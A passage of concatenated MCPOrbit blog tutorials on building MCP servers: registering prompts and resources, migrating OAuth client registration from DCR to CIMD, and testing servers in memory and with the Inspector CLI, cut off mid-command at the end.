tools are model-initiated. Reach for a prompt when the user should pick and trigger the interaction. > **Version check** > > Every code block here was run end to end on @modelcontextprotocol/sdk 1.30.0, zod 4.4.3, @modelcontextprotocol/inspector 2.0.0, and Node 25.8.1. The `node --test` suite passes 4/4 and the Inspector CLI output is copied verbatim. ## What is a prompt in MCP, and how is it different from a tool? An MCP prompt is a named, reusable message template that the user invokes. The server owns the wording; the user supplies a few arguments and the client sends the resulting messages to the model. Because the user triggers it, a prompt is the right primitive for actions a person should start on purpose: "summarize this," "review this code," "write a commit message from this diff." A tool is the opposite side of control. The model decides when to call a tool, and the tool runs code and returns data. If you want the model to fetch a row from Postgres mid-answer, that is a tool. If you want the user to pick a canned instruction and fire it, that is a prompt. Many clients render prompts as slash commands in the chat box, which is why the user, not the model, is in the driver's seat. ## Set up the project You need two dependencies: the MCP SDK and Zod for the argument schema. Pin both so the behavior below is reproducible. ```json { "name": "docs-prompts", "private": true, "type": "module", "dependencies": { "@modelcontextprotocol/sdk": "1.30.0", "zod": "4.4.3" } } ``` ## Register a prompt with arguments Call `registerPrompt()` with a name, a definition (title, description, and an `argsSchema`), and a handler. The handler receives the parsed arguments and returns a `messages` array, exactly the shape a client passes to the model. The `argsSchema` is a plain object of Zod validators: a required `text` string and an optional `tone` enum below. The SDK turns that shape into the argument list clients see in `prompts/list`. ```javascript // server.js - an MCP server that exposes two prompts. import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; import { completable } from "@modelcontextprotocol/sdk/server/completable.js"; import { z } from "zod"; const LANGUAGES = ["go", "python", "rust", "typescript"]; export function buildServer() { const server = new McpServer({ name: "docs-prompts", version: "1.0.0" }); // A simple prompt with a required and an optional argument. server.registerPrompt( "summarize", { title: "Summarize text", description: "Ask the model to summarize a passage", argsSchema: { text: z.string().describe("The text to summarize"), tone: z.enum(["plain", "formal"]).optional().describe("Summary tone"), }, }, ({ text, tone }) => ({ messages: [ { role: "user", content: { type: "text", text: `Summarize the following in a ${tone ?? "plain"} tone:\n\n${text}`, }, }, ], }) ); // A prompt whose "language" argument autocompletes. server.registerPrompt( "review-code", { title: "Review code", description: "Ask the model to review a snippet", argsSchema: { language: completable(z.string(), (value) => LANGUAGES.filter((l) => l.startsWith(value ?? "")) ), code: z.string().describe("The code to review"), }, }, ({ language, code }) => ({ messages: [ { role: "user", content: { type: "text", text: `Review this ${language} code and list any bugs:\n\n${code}`, }, }, ], }) ); return server; } ``` Two things are doing the work here. First, the handler builds the message text from the arguments, so the template lives in one place on the server. Second, `review-code` wraps its `language` argument in `completable()`, which we use for autocompletion later in this post. ## How do clients discover and use your prompts? A client makes two calls. `prompts/list` returns every prompt with its arguments and which ones are required, so the client can render a form or a slash-command menu. `prompts/get` takes a prompt name plus argument values and returns the finished `messages` the client feeds to the model. Your handler never talks to the model itself; it only produces messages, which keeps prompts pure and easy to test. > **Gotcha** > > A required argument that is missing is a protocol error, not an empty string. `prompts/get` with a missing required argument rejects with JSON-RPC code -32602 (Invalid params). Handle that in your client instead of assuming the field defaulted. ## Test your prompts with node --test You do not need a network or a running model to test prompts. Wire a client to the server in the same process with `InMemoryTransport.createLinkedPair()`, then assert on what `prompts/list`, `prompts/get`, and `completion/complete` return. This runs in milliseconds on every save. ```javascript // server.test.mjs - run with: node --test import { test } from "node:test"; import assert from "node:assert/strict"; import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { InMemoryTransport } from "@modelcontextprotocol/sdk/inMemory.js"; import { buildServer } from "./server.js"; async function connect() { const [clientT, serverT] = InMemoryTransport.createLinkedPair(); const client = new Client({ name: "test", version: "1.0.0" }); await Promise.all([buildServer().connect(serverT), client.connect(clientT)]); return client; } test("prompts/list returns both prompts with their arguments", async () => { const client = await connect(); const { prompts } = await client.listPrompts(); const names = prompts.map((p) => p.name).sort(); assert.deepEqual(names, ["review-code", "summarize"]); const summarize = prompts.find((p) => p.name === "summarize"); const required = summarize.arguments.find((a) => a.name === "text"); assert.equal(required.required, true); }); test("prompts/get fills the template from arguments", async () => { const client = await connect(); const res = await client.getPrompt({ name: "summarize", arguments: { text: "MCP is a protocol.", tone: "formal" }, }); assert.equal(res.messages.length, 1); assert.equal(res.messages[0].role, "user"); assert.match(res.messages[0].content.text, /formal tone/); }); test("a missing required argument is rejected with -32602", async () => { const client = await connect(); await assert.rejects( () => client.getPrompt({ name: "summarize", arguments: {} }), (err) => err.code === -32602 ); }); test("completion suggests matching argument values", async () => { const client = await connect(); const res = await client.complete({ ref: { type: "ref/prompt", name: "review-code" }, argument: { name: "language", value: "t" }, }); assert.deepEqual(res.completion.values, ["typescript"]); }); ``` Run it with the built-in test runner. All four cases pass: the list shape, the filled template, the -32602 error on a missing argument, and the completion result. ```bash $ node --test ✔ prompts/list returns both prompts with their arguments ✔ prompts/get fills the template from arguments ✔ a missing required argument is rejected with -32602 ✔ completion suggests matching argument values ℹ tests 4 ℹ pass 4 ℹ fail 0 ``` ## How do I preview a prompt from the command line? Add a one-line stdio entrypoint and drive the server with the MCP Inspector CLI. This is the check you run before you ship: it launches your server the way a real client would and prints exactly what the model will receive. ```javascript // bin.js - run the prompts server over stdio. import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; import { buildServer } from "./server.js"; await buildServer().connect(new StdioServerTransport()); ``` ```bash # List the prompts your server exposes. npx @modelcontextprotocol/inspector --cli node bin.js --method prompts/list # Expand one prompt with arguments and see the messages it produces. npx @modelcontextprotocol/inspector --cli node bin.js \\ --method prompts/get --prompt-name summarize \\ --prompt-args text="MCP is a protocol." tone=formal ``` The `prompts/get` call prints the finished messages, with the arguments already substituted: ```json { "messages": [ { "role": "user", "content": { "type": "text", "text": "Summarize the following in a formal tone:\n\nMCP is a protocol." } } ] } ``` ## How do I autocomplete prompt arguments? Wrap any argument validator in `completable()` and give it a function that returns candidate values for what the user has typed so far. The SDK exposes those candidates through the standard `completion/complete` request, so a client can offer a dropdown as the user fills in the argument. In `review-code`, typing `t` into `language` returns `["typescript"]`, because the completion function filters the language list by prefix. Completion is a suggestion channel only; it never changes what a required argument means or bypasses validation. ## When should you use a prompt instead of a tool or a resource? - Use a prompt when the user should choose and trigger a templated instruction, like a slash command. - Use a tool when the model should decide to run code and get data back on its own. - Use a resource when the app wants to hand the model read-only context by URI, with no action attached. - When in doubt, ask who is in control. User in control means prompt; model in control means tool. ## Frequently asked questions ### How do I add a prompt to an MCP server? Call `server.registerPrompt(name, { title, description, argsSchema }, handler)`. The `argsSchema` is a Zod shape, and the handler returns `{ messages: [...] }`. Clients then see it in `prompts/list` and expand it with `prompts/get`. ### What is the difference between an MCP prompt and a tool? A prompt is user-initiated: the user picks it (often as a slash command) and supplies arguments. A tool is model-initiated: the model calls it to run code and get data. Choose by who is in control of triggering the interaction. ### How do clients get the messages from a prompt? A client calls `prompts/get` with the prompt name and argument values. The server runs your handler and returns the finished `messages` array, which the client sends to the model. The handler never contacts the model itself. ### How do I make a prompt argument required or optional? It follows the Zod schema. A plain validator like `z.string()` is a required argument; add `.optional()` to make it optional. A `prompts/get` call missing a required argument rejects with JSON-RPC error -32602. ### How do I autocomplete prompt arguments? Wrap the argument in `completable(schema, (value) => candidates)`. The SDK serves the candidates through `completion/complete`, so a client can suggest values as the user types. It is a suggestion channel and does not replace validation. ### Can I test MCP prompts without a running model? Yes. Connect a client to the server in the same process with `InMemoryTransport.createLinkedPair()` and assert on what `prompts/list`, `prompts/get`, and `completion/complete` return. It runs in milliseconds under `node --test`. --- # How to Serve Resources From an MCP Server URL: https://mcporbit.com/blog/serve-resources-from-an-mcp-server Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-08 Updated: 2026-08-27 Category: MCP Tutorials Tags: MCP, Resources, build-it, Node.js Expose read-only context from an MCP server with resources. Build a notes server using a fixed resource and a URI template, tested end to end on Node 25. To serve resources from a Model Context Protocol (MCP) server, register each piece of read-only context with the server and return its bytes when a client asks. Resources are the read side of MCP: a client fetches them for context, and reading one never changes state. This guide builds a small server that exposes a set of notes as MCP resources. You will use two patterns: a fixed resource at a known URI, and a URI template that serves many resources from one registration. The code runs as written on Node 25 with `@modelcontextprotocol/sdk` 1.30.0. Every file is inlined below, and the whole thing is tested two ways before you ship it. - Resources are read-only context a client fetches by URI. Tools are actions a model calls. Use a resource when reading it has no side effects. - A fixed resource maps one URI to one document. Register it with `server.registerResource(name, uri, metadata, readCallback)`. - A resource template serves many resources from one registration. Pass a `ResourceTemplate` with a `{variable}` in the URI, plus a `list` callback so clients can discover the concrete URIs. - `resources/list` enumerates what exists and `resources/read` returns the bytes for one URI. Both are standard MCP methods every client speaks. - Test in memory with `node --test` and `InMemoryTransport`, then smoke-test the real process with the MCP Inspector CLI. ## When should you use a resource instead of a tool? Reach for a resource when the client only needs to read something and reading it has no side effects. A file, a database row, a config document, an API response you want the model to see as context: these are resources. Reach for a tool when the model needs to do something that changes state or runs an action, like sending an email or writing a record. The split matters because clients treat them differently. A host app can fetch resources quietly to build context, while tool calls usually go through a permission or confirmation step. If you model a read as a tool, you lose that distinction and push side-effect framing onto plain data. ## Set up the project Create an empty folder and add a `package.json`. The only direct dependency is the MCP SDK, pinned so the walkthrough stays reproducible. ```json { "name": "notes-mcp-server", "version": "1.0.0", "type": "module", "private": true, "scripts": { "start": "node server.js", "test": "node --test" }, "dependencies": { "@modelcontextprotocol/sdk": "1.30.0" } } ``` Install it with one command: ```bash npm install ``` ## Add the data the server will expose Put the content in its own module. In a real server this is your database, filesystem, or an upstream API. Here it is a small in-memory object so the example stays self-contained. ```javascript // A tiny in-memory "knowledge base" the server exposes as MCP resources. // In a real server this would be your database, filesystem, or API. export const notes = { onboarding: { title: "Onboarding checklist", body: "1. Clone the repo.\n2. Copy .env.example to .env.\n3. Run npm install.\n4. Run npm test.", }, "deploy-runbook": { title: "Deploy runbook", body: "Deploys run on merge to main. Roll back with `deploy --to `. On-call owns the pager.", }, glossary: { title: "Glossary", body: "MCP: Model Context Protocol. Resource: read-only context a client can fetch. Tool: an action a model can call.", }, }; ``` ## Register a fixed resource A fixed resource maps a single known URI to a single document. Here `notes://index` returns a markdown list of every note, so a client can read the index first to learn what is available. The read callback receives the requested URI as a `URL` and returns a `contents` array. Each entry carries the `uri`, a `mimeType`, and the `text`. ```javascript // A fixed resource at a known URI: an index of every note. server.registerResource( "index", "notes://index", { title: "Notes index", description: "A markdown list of every note and its id.", mimeType: "text/markdown", }, async (uri) => { const lines = Object.entries(notes).map( ([id, note]) => `- ${note.title} (\`note://${id}\`)` ); return { contents: [ { uri: uri.href, mimeType: "text/markdown", text: `# Notes\n\n${lines.join("\n")}\n` }, ], }; } ); ``` You choose the URI scheme. `notes://index` is arbitrary, it just has to be a valid URI and unique within your server. The `mimeType` tells the client how to interpret the bytes, `text/markdown` here. ## Serve many resources with a URI template You do not register one resource per note. Register a template once. A `ResourceTemplate` describes a URI pattern with a variable, like `note://{id}`. When a client reads `note://glossary`, the SDK matches the pattern, parses the id out as `glossary`, and hands it to your read callback. The `list` callback is what makes the concrete notes discoverable. Without it, `resources/list` shows only the fixed resources, and the template appears separately under `resources/templates/list`. With it, each note shows up as its own entry in `resources/list`, so a client sees every note by URI. ```javascript // One registration serves every note. The list callback lets clients // enumerate the concrete URIs; the read callback receives the parsed {id}. server.registerResource( "note", new ResourceTemplate("note://{id}", { list: async () => ({ resources: Object.entries(notes).map(([id, note]) => ({ uri: `note://${id}`, name: note.title, mimeType: "text/markdown", })), }), }), { title: "Note", description: "A single note, addressed by its id.", mimeType: "text/markdown" }, async (uri, { id }) => { const note = notes[id]; if (!note) throw new Error(`No note with id "${id}"`); return { contents: [ { uri: uri.href, mimeType: "text/markdown", text: `# ${note.title}\n\n${note.body}\n` }, ], }; } ); ``` ## The full server Here is `server.js` in full. It builds the server, registers both resources, and exports a `createServer` factory so the tests can drive it without spawning a process. When run directly, it speaks MCP over stdio, which is how local clients like Claude Desktop launch a server. ```javascript import { McpServer, ResourceTemplate } from "@modelcontextprotocol/sdk/server/mcp.js"; import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; import { notes } from "./notes.js"; // Build the server and register its resources. Exported so tests can drive it // in memory without spawning a process. export function createServer() { const server = new McpServer( { name: "notes-kb", version: "1.0.0" }, { capabilities: { resources: {} } } ); // 1) A fixed resource at a known URI: an index of every note. // A client reads this to discover what is available. server.registerResource( "index", "notes://index", { title: "Notes index", description: "A markdown list of every note and its id.", mimeType: "text/markdown", }, async (uri) => { const lines = Object.entries(notes).map( ([id, note]) => `- ${note.title} (\`note://${id}\`)` ); return { contents: [ { uri: uri.href, mimeType: "text/markdown", text: `# Notes\n\n${lines.join("\n")}\n`, }, ], }; } ); // 2) A templated resource: note://{id}. One registration serves every note. // The list callback lets clients enumerate the concrete URIs; the read // callback receives the parsed {id} variable. server.registerResource( "note", new ResourceTemplate("note://{id}", { list: async () => ({ resources: Object.entries(notes).map(([id, note]) => ({ uri: `note://${id}`, name: note.title, mimeType: "text/markdown", })), }), }), { title: "Note", description: "A single note, addressed by its id.", mimeType: "text/markdown", }, async (uri, { id }) => { const note = notes[id]; if (!note) { throw new Error(`No note with id "${id}"`); } return { contents: [ { uri: uri.href, mimeType: "text/markdown", text: `# ${note.title}\n\n${note.body}\n`, }, ], }; } ); return server; } // When run directly, talk MCP over stdio (how Claude Desktop and most clients // launch a local server). if (import.meta.url === `file://${process.argv[1]}`) { const server = createServer(); const transport = new StdioServerTransport(); await server.connect(transport); } ``` ## Test it in memory The fastest test skips the process boundary entirely. `InMemoryTransport.createLinkedPair()` gives you a client transport and a server transport wired directly together, so a real `Client` talks to your real server with no stdio and no timing flakiness. Save this as `server.test.js`. ```javascript import { test } from "node:test"; import assert from "node:assert/strict"; import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { InMemoryTransport } from "@modelcontextprotocol/sdk/inMemory.js"; import { createServer } from "./server.js"; // Spin up the server and an in-memory client joined by a linked transport pair. // No process, no stdio, no flaky timing. async function connect() { const server = createServer(); const client = new Client({ name: "test", version: "1.0.0" }); const [clientTransport, serverTransport] = InMemoryTransport.createLinkedPair(); await Promise.all([server.connect(serverTransport), client.connect(clientTransport)]); return { client, server }; } test("resources/list returns the index plus one entry per note", async () => { const { client } = await connect(); const { resources } = await client.listResources(); const uris = resources.map((r) => r.uri).sort(); assert.deepEqual(uris, [ "note://deploy-runbook", "note://glossary", "note://onboarding", "notes://index", ]); }); test("reading the index lists every note", async () => { const { client } = await connect(); const res = await client.readResource({ uri: "notes://index" }); const text = res.contents[0].text; assert.match(text, /Onboarding checklist/); assert.match(text, /note:\/\/glossary/); assert.equal(res.contents[0].mimeType, "text/markdown"); }); test("reading a templated URI returns that note's body", async () => { const { client } = await connect(); const res = await client.readResource({ uri: "note://deploy-runbook" }); assert.match(res.contents[0].text, /Roll back with/); assert.equal(res.contents[0].uri, "note://deploy-runbook"); }); test("reading an unknown note surfaces an error", async () => { const { client } = await connect(); await assert.rejects(() => client.readResource({ uri: "note://does-not-exist" }), /No note with id/); }); ``` Run it with the built-in Node test runner: ```bash node --test ``` All four tests pass: the list returns the index plus one entry per note, the index lists every note, a templated URI returns the right body, and an unknown id surfaces an error. ## Smoke-test the real process with the Inspector In-memory tests prove your logic. A smoke test against the real process proves your entry point and transport work too. The MCP Inspector CLI launches your server and calls a method, no GUI needed. List everything the server exposes: ```bash npx @modelcontextprotocol/inspector@2.0.0 --cli node server.js --method resources/list ``` Then read one note by its URI: ```bash npx @modelcontextprotocol/inspector@2.0.0 --cli node server.js \ --method resources/read --uri "note://deploy-runbook" ``` You get back the note's markdown in a `contents` array. That is the same shape any MCP client receives, so once these two checks pass, your server is ready to connect to a host. > **Connect it to a client** > > Point any MCP client at `node server.js` over stdio. In a client config that means a server entry whose command is `node` and whose args include the path to `server.js`. The client then lists your resources and reads them on demand. ## Frequently asked questions ## Frequently asked questions ### What is a resource in MCP? A resource is read-only context an MCP client can fetch by URI. Reading a resource returns data and has no side effects, which is what separates it from a tool. Files, database rows, and config documents are typical resources. ### What is the difference between a resource and a tool in MCP? A resource is data a client reads for context, and reading it changes nothing. A tool is an action a model invokes, and it can have side effects. Use a resource for reads and a tool for anything that does or changes something. ### How do I serve many resources without registering each one? Use a resource template. Register a `ResourceTemplate` with a variable in the URI, like `note://{id}`, and one read callback handles every match. Add a `list` callback so clients can discover the concrete URIs through `resources/list`. ### How does a client discover the resources my server offers? The client calls `resources/list` to get the available URIs and `resources/templates/list` to get URI templates. It then calls `resources/read` with a specific URI to fetch the content. ### How do I test an MCP server that exposes resources? Write in-memory tests with `node --test` and `InMemoryTransport.createLinkedPair()` so a real client talks to your server with no process. Then run a smoke test against the real process with the MCP Inspector CLI using `--method resources/list` and `--method resources/read`. ### What content types can an MCP resource return? A resource returns a `contents` array where each entry has a `uri`, a `mimeType`, and either `text` for text data or `blob` for base64-encoded binary. Set the `mimeType` so the client knows how to read the bytes, for example `text/markdown` or `application/json`. That is a complete resources server: a fixed resource, a template that serves many, and two ways to verify it. Add more resources by returning more data from your read callbacks, or expose a live source like a database by reading from it inside the callback instead of an in-memory object. --- # How to migrate MCP auth from DCR to CIMD URL: https://mcporbit.com/blog/migrate-mcp-auth-dcr-to-cimd Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-07 Updated: 2026-09-04 Category: Field notes Tags: MCP, OAuth, Authorization, CIMD, Security, Engineering The 2026-07-28 MCP spec deprecates Dynamic Client Registration for Client ID Metadata Documents. Here is what changed and how to migrate your OAuth flow. The 2026-07-28 Model Context Protocol (MCP) specification deprecates Dynamic Client Registration (DCR) in favor of Client ID Metadata Documents (CIMD). To migrate, your OAuth client stops POSTing to a registration endpoint and instead hosts a small JSON metadata file at a stable HTTPS URL, then uses that URL as its `client_id`. DCR still works for backward compatibility, so you can move at your own pace inside the spec's twelve-month minimum deprecation window. This matters because registration was the part of MCP OAuth that broke first. With DCR, every agent had to call each authorization server's registration endpoint before it could log in, which meant no-registration servers rejected the client and misconfigured ones handed out throwaway credentials. CIMD removes that step: the `client_id` is a URL the authorization server fetches on demand, so a client can complete a full OAuth flow against a server it has never seen before, with no pre-registration. - DCR (RFC 7591) is deprecated in the 2026-07-28 spec (SEP-2352). It keeps working for backward compatibility; removal is a future spec version, at least twelve months out. - CIMD makes the `client_id` an HTTPS URL that points to a JSON metadata document the client self-hosts. The authorization server fetches and validates it instead of storing a registration record. - The `client_id` field inside the document must exactly equal the URL, and each `redirect_uri` in the request must appear in the document's allowlist. - Clients also declare an OpenID Connect `application_type` (SEP-837) so authorization servers stop rejecting localhost redirects for desktop and CLI apps. - Clients must validate the `iss` response parameter (RFC 9207) and send Resource Indicators (RFC 8707) so a token minted for one MCP server cannot be replayed against another. ## What exactly did the 2026-07-28 spec deprecate? The spec's authorization hardening formally deprecates Dynamic Client Registration, the RFC 7591 flow where a client POSTs its metadata to a `/register` endpoint and the authorization server mints and stores a `client_id` and secret. The deprecation is tracked as SEP-2352. Nothing you built on DCR stops working the day the spec ships: DCR remains valid for backward compatibility with authorization servers that do not support CIMD yet. The new formal deprecation policy guarantees a lifecycle of Active, then Deprecated, then Removed, with a minimum of twelve months between deprecation and the earliest possible removal. So this is a migration to plan, not an outage to firefight. ## What is a Client ID Metadata Document (CIMD)? A Client ID Metadata Document is a JSON file, hosted by the client at an HTTPS URL, that describes the client the same way a DCR record would. The difference is where it lives. Instead of the authorization server storing the record in its database, the client hosts the record and the `client_id` is the URL of that file. When the authorization server sees a request, it fetches the URL, reads the metadata, and validates it on demand. There is no registration call and no shared secret to leak. A minimal document looks like this. Host it at a stable URL such as `https://agent.example.com/oauth/client-metadata.json`, and use that same URL as your `client_id`: ```json { "client_id": "https://agent.example.com/oauth/client-metadata.json", "client_name": "Example MCP Agent", "client_uri": "https://agent.example.com", "application_type": "native", "redirect_uris": [ "http://127.0.0.1:33418/callback", "https://agent.example.com/oauth/callback" ], "grant_types": ["authorization_code", "refresh_token"], "response_types": ["code"], "token_endpoint_auth_method": "none", "scope": "mcp:tools mcp:resources" } ``` Two rules make this safe. First, the `client_id` field inside the document must be byte-for-byte the URL the authorization server fetched, so the identifier and the metadata are bound to the same origin. Second, the `redirect_uri` in the authorization request must appear in the document's `redirect_uris` allowlist. An authorization server that follows the spec rejects the request if either check fails. ## How does the authorization request change for the client? Instead of a short opaque `client_id` handed back by a registration call, you send the URL of your metadata document. Everything else in the authorization-code flow is standard OAuth 2.1 with PKCE. Note the `resource` parameter: that is the Resource Indicator (RFC 8707) naming the exact MCP server this token is for. ```text GET /authorize ?response_type=code &client_id=https%3A%2F%2Fagent.example.com%2Foauth%2Fclient-metadata.json &redirect_uri=http%3A%2F%2F127.0.0.1%3A33418%2Fcallback &code_challenge= &code_challenge_method=S256 &resource=https%3A%2F%2Fmcp.example.com &scope=mcp%3Atools%20mcp%3Aresources &state= HTTP/1.1 Host: auth.example.com ``` When the authorization server redirects back with the code, the client must check the `iss` parameter on the response against the issuer it expected (RFC 9207) before redeeming the code. This is the fix for authorization-server mix-up attacks, where a malicious server tries to get your client to send a code to the wrong token endpoint. Bind the credentials you get to that issuer and do not reuse them against a different authorization server. ## What does the MCP server itself need to expose? Most of CIMD lives in the client and the authorization server, not in your MCP server's tool code. Your MCP server's job is to act as a spec-compliant OAuth 2.1 protected resource: advertise which authorization server protects it, and validate the bearer token's audience on every request. You advertise the authorization server with a protected-resource metadata document (RFC 9728) at a well-known path: ```json GET /.well-known/oauth-protected-resource HTTP/1.1 Host: mcp.example.com { "resource": "https://mcp.example.com", "authorization_servers": ["https://auth.example.com"], "scopes_supported": ["mcp:tools", "mcp:resources"], "bearer_methods_supported": ["header"] } ``` Because clients now send a Resource Indicator, the access token's audience is scoped to your server's `resource` URL. Reject any token whose audience is not your server. That is what stops a token minted for a different MCP server from being replayed against yours. ## A migration path that does not break existing clients Move in the order that keeps old and new clients working at the same time: - Keep serving DCR. Leave your `/register` endpoint (or your authorization server's DCR support) in place. Deprecated does not mean removed, and older clients still rely on it. - If you build the client or agent: host a metadata document at a stable HTTPS URL, set its `client_id` field to that same URL, add `application_type` (use `native` for desktop and CLI clients so localhost redirects are accepted), and switch your authorization requests to send the URL as `client_id`. - Add Resource Indicators (RFC 8707) to every token request, naming the target MCP server, and validate the `iss` response parameter (RFC 9207) before redeeming the code. - If you run the authorization server: accept URL-form `client_id` values, fetch and cache the document, and enforce the two checks (document `client_id` equals the URL, request `redirect_uri` is in the allowlist). Fall back to DCR when a client is not using a URL client_id. - On your MCP server: expose `/.well-known/oauth-protected-resource` (RFC 9728) and validate token audience against your `resource` URL on every call. > **Timeline** > > There is no need to rush a same-day cutover. The 2026-07-28 deprecation policy guarantees at least twelve months before DCR can be removed from the spec. Ship CIMD support now, keep DCR as a fallback, and drop DCR once your traffic has moved. --- ## Frequently asked questions ### Is Dynamic Client Registration removed in the 2026-07-28 MCP spec? No. DCR (RFC 7591) is deprecated, not removed. It keeps working for backward compatibility with authorization servers that do not support CIMD yet. The spec's deprecation policy requires at least twelve months before any deprecated feature can be removed. ### What is a Client ID Metadata Document in MCP OAuth? It is a JSON file the client hosts at an HTTPS URL that describes the client (name, redirect URIs, grant types). The URL itself is the `client_id`. The authorization server fetches the document on demand and validates it instead of storing a registration record, so no pre-registration step is needed. ### How do I set the client_id when using CIMD? Use the HTTPS URL of your hosted metadata document as the `client_id` in the authorization request. The `client_id` field inside the document must equal that same URL, and the request's `redirect_uri` must be listed in the document's `redirect_uris` allowlist. ### Do I have to change my MCP server code to support CIMD? Usually not much. CIMD is handled by the client and the authorization server. Your MCP server just needs to expose `/.well-known/oauth-protected-resource` (RFC 9728) pointing at its authorization server and validate the token audience against its own `resource` URL on every request. ### Why do MCP clients now send a resource parameter? That is a Resource Indicator (RFC 8707). It names the exact MCP server the token is intended for, so a malicious server cannot obtain a token meant for a different server and replay it. Validate the token audience on the server to enforce it. ### What is the application_type field for? Clients declare their OpenID Connect `application_type` (SEP-837) during registration. Setting it to `native` for desktop and CLI apps stops authorization servers from defaulting the client to `web` and rejecting its localhost redirect URI. MCPOrbit connects to each server you migrate, so you can confirm the new authorization server is the one answering and the token is scoped the way you expect. Check it once per server, before your agents do it for you. [Download MCPOrbit for macOS](/api/download) --- # How to Test an MCP Server URL: https://mcporbit.com/blog/test-an-mcp-server Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-06 Updated: 2026-09-04 Category: Build-it Tags: MCP, Testing, Node.js, MCP Inspector, TypeScript SDK, Engineering Test an MCP server two ways: fast in-memory tests with Node's built-in test runner, and manual or CI checks with the MCP Inspector CLI. Full runnable code. The fastest way to test a Model Context Protocol (MCP) server is to connect a client to it in memory and call its tools. Node's built-in test runner asserts the results in milliseconds, with no child process and no network. For manual checks and continuous integration, the MCP Inspector CLI drives the same server from the command line. This post builds a small MCP server, then tests it two ways. First with `node --test` and an in-memory transport, the loop you run on every save. Then with the Inspector CLI, the one command you drop into CI. Every file below is complete and runs as written. Versions are pinned to Node 25, the MCP TypeScript SDK 1.30.0, zod 4.4.3, and MCP Inspector 2.0.0. - Connect a `Client` to your server over `InMemoryTransport` to test tools with no process and no network. - Node's built-in `node --test` runner needs no extra test framework. - The MCP Inspector CLI calls `tools/list` and `tools/call` from the shell, so it fits any CI job. - A tool that returns `isError: true` makes the Inspector CLI exit non-zero, which fails the build. - The SDK validates tool arguments against your schema before your handler runs. ## The server we will test Start a project with two dependencies: the MCP SDK and zod. The `type: module` line lets us use `import`, and the `bin` entry makes the server runnable as a command. ```json { "name": "weather-mcp", "version": "1.0.0", "type": "module", "bin": { "weather-mcp": "./server.js" }, "scripts": { "start": "node server.js", "test": "node --test" }, "dependencies": { "@modelcontextprotocol/sdk": "1.30.0", "zod": "4.4.3" } } ``` Run `npm install`, then add the server. The one rule that makes a server testable is to build it in a factory function. Tests and production then share the exact same code. Our server exposes one tool, `get_forecast`, that looks up a city in a small table. That is enough to show a success, a handled error, and a schema violation. ```javascript import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js" import { z } from "zod" // A tiny in-memory "forecast" so the tool is deterministic and testable. const FORECASTS = { london: { tempC: 14, sky: "rain" }, denver: { tempC: 22, sky: "clear" }, tokyo: { tempC: 19, sky: "clouds" }, } // Build and return a configured MCP server. The same factory is used by the // stdio entrypoint (server.js) and by the test suite (server.test.js), so the // tests exercise the exact server your users run. export function createServer() { const server = new McpServer({ name: "weather-mcp", version: "1.0.0" }) server.registerTool( "get_forecast", { title: "Get forecast", description: "Return today's forecast for a supported city.", inputSchema: { city: z.string().min(1) }, }, async ({ city }) => { const key = city.trim().toLowerCase() const forecast = FORECASTS[key] if (!forecast) { return { isError: true, content: [{ type: "text", text: `No forecast for "${city}".` }], } } return { content: [ { type: "text", text: `${key}: ${forecast.tempC}C, ${forecast.sky}`, }, ], } }, ) return server } ``` The stdio entry point is a few lines. It is what the Inspector CLI and desktop clients spawn. ```javascript #!/usr/bin/env node import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js" import { createServer } from "./mcp-server.js" const server = createServer() const transport = new StdioServerTransport() await server.connect(transport) ``` ## Fast tests with Node's built-in test runner The key is `InMemoryTransport.createLinkedPair()`. It returns two linked transports. Give one to the server and one to the client, and they talk directly. No stdio, no HTTP, no flaky timing. Each test builds a fresh server, so tests never share state. ```javascript import assert from "node:assert/strict" import { test } from "node:test" import { Client } from "@modelcontextprotocol/sdk/client/index.js" import { InMemoryTransport } from "@modelcontextprotocol/sdk/inMemory.js" import { createServer } from "./mcp-server.js" // Wire a client to a fresh server over an in-memory transport pair. No child // process, no network: the client talks to the real server object directly. async function connect() { const server = createServer() const client = new Client({ name: "test-client", version: "1.0.0" }) const [clientTransport, serverTransport] = InMemoryTransport.createLinkedPair() await Promise.all([ server.connect(serverTransport), client.connect(clientTransport), ]) return { client, server } } test("lists the get_forecast tool", async () => { const { client } = await connect() const { tools } = await client.listTools() assert.deepEqual( tools.map((t) => t.name), ["get_forecast"], ) }) test("returns a forecast for a known city", async () => { const { client } = await connect() const result = await client.callTool({ name: "get_forecast", arguments: { city: "London" }, }) assert.equal(result.isError, undefined) assert.equal(result.content[0].text, "london: 14C, rain") }) test("flags an unknown city as a tool error", async () => { const { client } = await connect() const result = await client.callTool({ name: "get_forecast", arguments: { city: "atlantis" }, }) assert.equal(result.isError, true) assert.match(result.content[0].text, /No forecast/) }) test("validates arguments against the tool input schema", async () => { const { client } = await connect() const result = await client.callTool({ name: "get_forecast", arguments: { city: "" }, }) // The SDK checks arguments against your zod schema before your handler runs // and returns a tool error, so you never see malformed input in the handler. assert.equal(result.isError, true) assert.match(result.content[0].text, /validation error/) }) ``` Run the suite with `node --test`. The runner finds every `*.test.js` file on its own, with no config. ```bash $ node --test ✔ lists the get_forecast tool ✔ returns a forecast for a known city ✔ flags an unknown city as a tool error ✔ validates arguments against the tool input schema ℹ tests 4 ℹ pass 4 ℹ fail 0 ``` > **The SDK validates input for you** > > The SDK checks tool arguments against your zod input schema before your handler runs. An invalid call comes back as a tool error with an `Input validation error` message, so your handler only ever sees valid input. You do not write that check yourself, but you should still test it. ## Manual and CI checks with the MCP Inspector CLI The MCP Inspector has a command-line mode. It spawns your server, sends one request, prints the JSON result, and exits. That makes it good for a quick look while you build, and for a smoke test in CI. No test file needed. List the tools your server exposes: ```bash $ npx @modelcontextprotocol/inspector@2.0.0 --cli node server.js \ --method tools/list { "tools": [ { "name": "get_forecast", "title": "Get forecast", "description": "Return today's forecast for a supported city.", "inputSchema": { "type": "object", "properties": { "city": { "type": "string", "minLength": 1 } }, "required": ["city"], "$schema": "http://json-schema.org/draft-07/schema#" } } ] } ``` Call a tool with typed arguments. Each `--tool-arg` is a `name=value` pair: ```bash $ npx @modelcontextprotocol/inspector@2.0.0 --cli node server.js 